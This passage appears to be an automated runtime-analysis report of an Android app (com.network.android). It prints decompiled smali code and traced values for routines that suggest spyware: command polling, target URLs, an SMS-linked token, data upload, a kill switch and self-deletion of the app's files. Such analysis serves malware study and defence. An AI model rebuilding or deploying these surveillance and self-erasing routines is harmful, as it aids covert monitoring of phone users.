      48invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      49move-result-object v1
      51invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      52goto/16 :goto_30
      Cross References
      APIs
      • java.lang.Double.doubleValue
      • android.os.Build$VERSION.RELEASE:Ljava/lang/String
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.Double.parseDouble
      • java.lang.Double.valueOf
      • java.lang.Double.doubleValue
      Strings
      • 9
      • Build.VERSION.RELEASE:
      • Build.VERSION.RELEASE: 9
      • .
      Position Instruction Meta Information
      1sget-object v0, Lcom/network/a/a;->c:Ljava/lang/Double;
      2if-eqz v0, :cond_b
      4sget-object v0, Lcom/network/a/a;->c:Ljava/lang/Double;
      6invoke-virtual {v0}, Ljava/lang/Double;->doubleValue()D
      7move-result-wide v0
      8goto_a: return-wide v0
      9cond_b:
      10sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
      • Time: 1068265
        • Return:
          • 9
      11new-instance v1, Ljava/lang/StringBuilder;
      13const-string v2, "Build.VERSION.RELEASE: "
      15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      17invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      18move-result-object v1
      20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      21move-result-object v1
      23invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068268
        • p0: Build.VERSION.RELEASE: 9
      24const/4 v1, 0x0
      26const-string v2, "."
      28invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      29move-result v2
      30add-int/lit8 v2, v2, 0x2
      32invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      33move-result-object v0
      35invoke-static {v0}, Ljava/lang/Double;->parseDouble(Ljava/lang/String;)D
      36move-result-wide v0
      38invoke-static {v0, v1}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
      39move-result-object v0
      40sput-object v0, Lcom/network/a/a;->c:Ljava/lang/Double;
      42invoke-virtual {v0}, Ljava/lang/Double;->doubleValue()D
      43move-result-wide v0
      44goto/16 :goto_a
      Cross References
      APIs
      • android.os.Handler.<init>
      • android.os.Handler.post
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • removeAppalication start
      • removeAppalication isOnRemoveApplicationProcess is true. returning
      • removeAppalication ended!
      • removeAppalication exception:
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "removeAppalication start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079483
        • p0: removeAppalication start
      4sget-boolean v0, Lcom/network/h/b;->a:Z
      5if-eqz v0, :cond_f
      7const-string v0, "removeAppalication isOnRemoveApplicationProcess is true. returning"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079892
        • p0: removeAppalication isOnRemoveApplicationProcess is true. returning
      10goto_e: return-void
      11cond_f: const/4 v0, 0x1
      12sput-boolean v0, Lcom/network/h/b;->a:Z
      13new-instance v0, Landroid/os/Handler;
      15invoke-direct {v0}, Landroid/os/Handler;-><init>()V
      16new-instance v1, Lcom/network/h/c;
      18invoke-direct {v1, p0}, Lcom/network/h/c;-><init>(Landroid/content/Context;)V
      20invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      22const-string v0, "removeAppalication ended!"
      24invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079487
        • p0: removeAppalication ended!
      25try_end_24: goto/16 :goto_e
      26catch_25: move-exception v0
      27new-instance v1, Ljava/lang/StringBuilder;
      29const-string v2, "removeAppalication exception: "
      31invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      34move-result-object v2
      36invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v1
      39invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v1
      42invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      43const/4 v0, 0x2
      44const/16 v1, 0x1c
      46invoke-static {v0, v1}, Lcom/network/android/c/a/b;->a(IS)V
      47goto/16 :goto_e
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • PollingManager startPollingOnInit
      • PollingManager startPollingOnInit pollingInterval:
      • PollingManager startPollingOnInit pollingInterval: 1800
      • PollingManager startPollingOnInit exception -
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "PollingManager startPollingOnInit"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074477
        • p0: PollingManager startPollingOnInit
      5invoke-static {}, Lcom/network/b/b;->J()I
      6move-result v0
      7new-instance v1, Ljava/lang/StringBuilder;
      9const-string v2, "PollingManager startPollingOnInit pollingInterval: "
      11invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      13invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      14move-result-object v1
      16invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      17move-result-object v1
      19invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074488
        • p0: PollingManager startPollingOnInit pollingInterval: 1800
      21invoke-static {p0, v0, p1}, Lcom/network/g/a;->a(Landroid/content/Context;ILandroid/app/AlarmManager;)V
      22goto_1e: return-void
      23catch_1f: move-exception v0
      24new-instance v1, Ljava/lang/StringBuilder;
      26const-string v2, "PollingManager startPollingOnInit exception - "
      28invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      30invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      31move-result-object v2
      33invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v1
      36invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      37move-result-object v1
      39invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      40goto/16 :goto_1e
      Cross References
      APIs
      • java.util.HashMap.<init>
      • android.os.Handler.post
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • scanAndLoad start
      • scanAndLoad end
      • contacts start Exception-
      Position Instruction Meta Information
      0const-class v1, Lcom/network/android/monitor/observer/i;
      1monitor-enter v1
      2try_start_3: sget-boolean v0, Lcom/network/android/monitor/observer/i;->h:Z
      3if-nez v0, :cond_42
      4new-instance v0, Ljava/util/HashMap;
      6invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
      7sput-object v0, Lcom/network/android/monitor/observer/i;->e:Ljava/util/Map;
      8try_start_e:
      9const-string v0, "scanAndLoad start "
      11invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079572
        • p0: scanAndLoad start
      12const/4 v0, 0x1
      13sput-boolean v0, Lcom/network/android/monitor/observer/i;->h:Z
      15sget-object v0, Lcom/network/android/monitor/observer/i;->c:Landroid/os/Handler;
      16new-instance v2, Lcom/network/android/monitor/observer/j;
      18invoke-direct {v2, p0}, Lcom/network/android/monitor/observer/j;-><init>(Landroid/content/Context;)V
      20invoke-virtual {v0, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      22const-string v0, "scanAndLoad end "
      24invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079588
        • p0: scanAndLoad end
      25try_end_25: monitor-exit v1
      26return-void
      27catch_27: move-exception v0
      28try_start_28: new-instance v2, Ljava/lang/StringBuilder;
      30const-string v3, "contacts start Exception- "
      32invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      34invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      35move-result-object v3
      37invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      38move-result-object v2
      40invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      41move-result-object v2
      43invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      44try_end_3e: goto/16 :goto_25
      45catchall_3f: move-exception v0
      46monitor-exit v1
      47throw v0
      48cond_42:
      49const-string v0, "scanAndLoad end "
      51invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1096884
        • p0: scanAndLoad end
      52try_end_47: goto/16 :goto_25
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • RemoveDirectories start
      • RemoveDirectories end
      • RemoveDirectories exception:
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/io/File;
      2invoke-direct {v0, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      4invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1067252
        • This:
          • /data/data/com.network.android
        • Return:
          • true
      5move-result v1
      6if-eqz v1, :cond_18
      8const-string v1, "RemoveDirectories start"
      10invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067255
        • p0: RemoveDirectories start
      12invoke-static {v0}, Lcom/network/h/b;->c(Ljava/io/File;)V
      • Time: 1068069
        • This:
          • /data/data/com.network.android
        • Return:
          • false
      14const-string v0, "RemoveDirectories end"
      16invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068081
        • p0: RemoveDirectories end
      17try_end_18: return-void
      18catch_19: move-exception v0
      19new-instance v1, Ljava/lang/StringBuilder;
      21const-string v2, "RemoveDirectories exception:"
      23invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      25invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      26move-result-object v2
      28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      29move-result-object v1
      31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      32move-result-object v1
      34invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      35goto/16 :goto_18
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.os.Handler.postDelayed
      Strings
      • MO httpPingKillDelay:
      • MO httpPingKillDelay: 10
      • MO httpPingKillDelay: 5000
      • httpPingKillDelay return already kiled
      • MO httpPingKillDelay post
      Position Instruction Meta Information
      0new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "MO httpPingKillDelay: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6invoke-virtual {v0, p1, p2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      7move-result-object v0
      9invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      10move-result-object v0
      12invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079454
        • p0: MO httpPingKillDelay: 10
      • Time: 1079479
        • p0: MO httpPingKillDelay: 5000
      13sget-boolean v0, Lcom/network/h/b;->a:Z
      14if-eqz v0, :cond_1c
      16const-string v0, "httpPingKillDelay return already kiled"
      18invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079488
        • p0: httpPingKillDelay return already kiled
      19goto_1b: return-void
      20cond_1c:
      21const-string v0, "MO httpPingKillDelay post"
      23invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079462
        • p0: MO httpPingKillDelay post
      25sget-object v0, Lcom/network/android/a/c;->g:Landroid/os/Handler;
      26new-instance v1, Lcom/network/android/a/e;
      28invoke-direct {v1, p1, p2, p0}, Lcom/network/android/a/e;-><init>(JLandroid/content/Context;)V
      30invoke-virtual {v0, v1, p1, p2}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      31goto/16 :goto_1b
      Cross References
      APIs
      • java.util.Vector.clear
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • clearCommandQueue start
      • clearCommandQueue command queue is null. returning
      • clearCommandQueue end
      • clearCommandQueue exception:
      Position Instruction Meta Information
      0try_start_0:
      1sget-object v1, Lcom/network/android/a/b;->b:Ljava/lang/Object;
      2monitor-enter v1
      3try_start_3:
      4const-string v0, "clearCommandQueue start"
      6invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079591
        • p0: clearCommandQueue start
      8sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      9if-nez v0, :cond_13
      11const-string v0, "clearCommandQueue command queue is null. returning"
      13invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079596
        • p0: clearCommandQueue command queue is null. returning
      14monitor-exit v1
      15goto_12: return-void
      16cond_13:
      17sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      19invoke-virtual {v0}, Ljava/util/Vector;->clear()V
      21const-string v0, "clearCommandQueue end"
      23invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24monitor-exit v1
      25try_end_1e: goto/16 :goto_12
      26catchall_1f: move-exception v0
      27try_start_20: monitor-exit v1
      28throw v0
      29try_end_22: move-exception v0
      30new-instance v1, Ljava/lang/StringBuilder;
      32const-string v2, "clearCommandQueue exception: "
      34invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      36invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      37move-result-object v2
      39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      40move-result-object v1
      42invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      43move-result-object v1
      45invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      46goto/16 :goto_12
      Cross References
      APIs
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.<init>
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • Token:
      • Token: null
      • getTokenId-
      Position Instruction Meta Information
      0const-class v1, Lcom/network/android/SmsReceiver;
      1monitor-enter v1
      2try_start_3:
      3sget-object v0, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      4if-nez v0, :cond_a
      6invoke-static {p0}, Lcom/network/b/b;->d(Landroid/content/Context;)V
      7cond_a: new-instance v0, Ljava/lang/StringBuilder;
      9const-string v2, "Token: "
      11invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      13sget-object v2, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      15invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      16move-result-object v0
      18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      19move-result-object v0
      21invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074095
        • p0: Token: null
      23sget-object v0, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      24try_end_20: monitor-exit v1
      25return-object v0
      26catch_22: move-exception v0
      27try_start_23: new-instance v2, Ljava/lang/StringBuilder;
      29const-string v3, "getTokenId- "
      31invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      34move-result-object v3
      36invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v2
      39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v2
      42invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      43try_end_39: goto/16 :goto_a
      44catchall_3a: move-exception v0
      45monitor-exit v1
      46throw v0
      Cross References
      APIs
      • java.lang.String.contains
      • java.lang.Boolean.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.booleanValue
      Strings
      • system
      • ApplicationProperties isSystemApplication:
      • ApplicationProperties isSystemApplication: false
      Position Instruction Meta Information
      1sget-object v0, Lcom/network/b/a;->e:Ljava/lang/Boolean;
      2if-nez v0, :cond_14
      4invoke-static {p0}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      5move-result-object v0
      7const-string v1, "system"
      9invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      10move-result v0
      12invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      13move-result-object v0
      14sput-object v0, Lcom/network/b/a;->e:Ljava/lang/Boolean;
      15cond_14: new-instance v0, Ljava/lang/StringBuilder;
      17const-string v1, "ApplicationProperties isSystemApplication: "
      19invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      21sget-object v1, Lcom/network/b/a;->e:Ljava/lang/Boolean;
      23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      24move-result-object v0
      26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      27move-result-object v0
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068812
        • p0: ApplicationProperties isSystemApplication: false
      31sget-object v0, Lcom/network/b/a;->e:Ljava/lang/Boolean;
      33invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      34move-result v0
      35return v0
      Cross References
      APIs
      • android.os.HandlerThread.<init>
      • android.os.HandlerThread.start
      • android.os.HandlerThread.getLooper
      • android.os.Handler.<init>
      • android.os.Handler.post
      Strings
      • MO kill: killBill
      • killBill return already kiled
      • kill
      Position Instruction Meta Information
      1const-string v0, "MO kill: killBill"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1077738
        • p0: MO kill: killBill
      4sget-boolean v0, Lcom/network/h/b;->a:Z
      5if-eqz v0, :cond_f
      7const-string v0, "killBill return already kiled"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079523
        • p0: killBill return already kiled
      10goto_e: return-void
      11cond_f: new-instance v0, Landroid/os/HandlerThread;
      13const-string v1, "kill"
      15invoke-direct {v0, v1}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
      17invoke-virtual {v0}, Landroid/os/HandlerThread;->start()V
      18new-instance v1, Landroid/os/Handler;
      20invoke-virtual {v0}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;
      21move-result-object v0
      23invoke-direct {v1, v0}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
      24new-instance v0, Lcom/network/android/a/m;
      26invoke-direct {v0, p0}, Lcom/network/android/a/m;-><init>(Landroid/content/Context;)V
      28invoke-virtual {v1, v0}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      29goto/16 :goto_e
      Cross References
      APIs
      • java.lang.Object.<init>
      • com.network.i.c.<init>
      • com.network.android.agent.NetworkApp.a
      • android.content.IntentFilter.<init>
      • android.content.Context.registerReceiver
      Strings
      • Chunker - started
      • new_chunker_file_event
      • Chunker - after registering the reciever
      Position Instruction Meta Information
      1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
      2new-instance v0, Lcom/network/i/c;
      4invoke-direct {v0, p0}, Lcom/network/i/c;-><init>(Lcom/network/i/b;)V
      5iput-object v0, p0, Lcom/network/i/b;->c:Landroid/content/BroadcastReceiver;
      7const-string v0, "Chunker - started"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068815
        • p0: Chunker - started
      11invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      12move-result-object v0
      14iget-object v1, p0, Lcom/network/i/b;->c:Landroid/content/BroadcastReceiver;
      15new-instance v2, Landroid/content/IntentFilter;
      17const-string v3, "new_chunker_file_event"
      19invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
      21invoke-virtual {v0, v1, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
      • Time: 1068829
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: com.network.i.c@7a8b85
        • p1: android.content.IntentFilter@88e1dda
        • p1.getAction0: new_chunker_file_event
        • Return:
          • null
      23const-string v0, "Chunker - after registering the reciever"
      25invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068833
        • p0: Chunker - after registering the reciever
      26return-void
      Cross References
      APIs
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.intValue
      Strings
      • ConfigurationHolder PollingManager getPollingInterval need to read preference
      • ConfigurationHolder PollingManager getPollingInterval pollingInterval:
      • ConfigurationHolder PollingManager getPollingInterval pollingInterval: 1800
      Position Instruction Meta Information
      1sget-object v0, Lcom/network/b/b;->al:Ljava/lang/Integer;
      2if-nez v0, :cond_10
      4const-string v0, "ConfigurationHolder PollingManager getPollingInterval need to read preference"
      6invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8invoke-static {}, Lcom/network/android/agent/NetworkApp;->a()Landroid/content/Context;
      9move-result-object v0
      11invoke-static {v0}, Lcom/network/b/b;->d(Landroid/content/Context;)V
      12cond_10: new-instance v0, Ljava/lang/StringBuilder;
      14const-string v1, "ConfigurationHolder PollingManager getPollingInterval pollingInterval: "
      16invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      18sget-object v1, Lcom/network/b/b;->al:Ljava/lang/Integer;
      20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      21move-result-object v0
      23invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      24move-result-object v0
      26invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074480
        • p0: ConfigurationHolder PollingManager getPollingInterval pollingInterval: 1800
      28sget-object v0, Lcom/network/b/b;->al:Ljava/lang/Integer;
      30invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
      31move-result v0
      32return v0
      Cross References
      APIs
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • isValidSettings - No tokenId !!!!!
      • isValidSettings - No TargetURLs
      • isValidSettings-
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1const/4 v0, 0x1
      2try_start_2:
      3sget-object v2, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      4if-nez v2, :cond_c
      6const-string v0, "isValidSettings - No tokenId !!!!!"
      8invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      • Time: 1073638
        • p0: isValidSettings - No tokenId !!!!!
      9goto_b: return v1
      10cond_c:
      11invoke-static {}, Lcom/network/b/b;->e()[Ljava/lang/String;
      12move-result-object v2
      13if-eqz v2, :cond_19
      15invoke-static {}, Lcom/network/b/b;->e()[Ljava/lang/String;
      16move-result-object v2
      17array-length v2, v2
      18if-nez v2, :cond_1f
      19cond_19:
      20const-string v0, "isValidSettings - No TargetURLs"
      22invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      23try_end_1e: move v0, v1
      24cond_1f: move v1, v0
      25goto/16 :goto_b
      26catch_21: move-exception v0
      27new-instance v2, Ljava/lang/StringBuilder;
      29const-string v3, "isValidSettings- "
      31invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      34move-result-object v3
      36invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v2
      39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v2
      42invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      43goto/16 :goto_b
      Cross References
      APIs
      • java.net.HttpURLConnection.disconnect
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • !url! disconnect setting connection to null
      • sentData - disconnect:
      Position Instruction Meta Information
      0try_start_0:
      1sget-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      2if-eqz v0, :cond_9
      4sget-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      6invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
      7goto_9:
      8const-string v0, "!url! disconnect setting connection to null"
      10invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074512
        • p0: !url! disconnect setting connection to null
      11const/4 v0, 0x0
      12sput-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      13const-wide/16 v0, 0x0
      14sput-wide v0, Lcom/network/android/g;->c:J
      15return-void
      16catch_16: move-exception v0
      17new-instance v1, Ljava/lang/StringBuilder;
      19const-string v2, "sentData - disconnect: "
      21invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      23invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      24move-result-object v2
      26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      27move-result-object v1
      29invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      30move-result-object v1
      32invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      33goto/16 :goto_9
      Cross References
      APIs
      • android.content.Context.getApplicationInfo
      • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getAgentApkPath start
      • getAgentApkPath exception:
      Position Instruction Meta Information
      1const-string v0, "getAgentApkPath start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068126
        • p0: getAgentApkPath start
      5const-string v0, ""
      6try_start_7:
      7invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
      8move-result-object v1
      10iget-object v0, v1, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
      11goto_d: return-object v0
      12catch_e: move-exception v1
      13new-instance v2, Ljava/lang/StringBuilder;
      15const-string v3, "getAgentApkPath exception: "
      17invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      19invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      20move-result-object v3
      22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      23move-result-object v2
      25invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      26move-result-object v2
      28invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      29goto/16 :goto_d
      APIs
      • android.app.Activity.onCreate
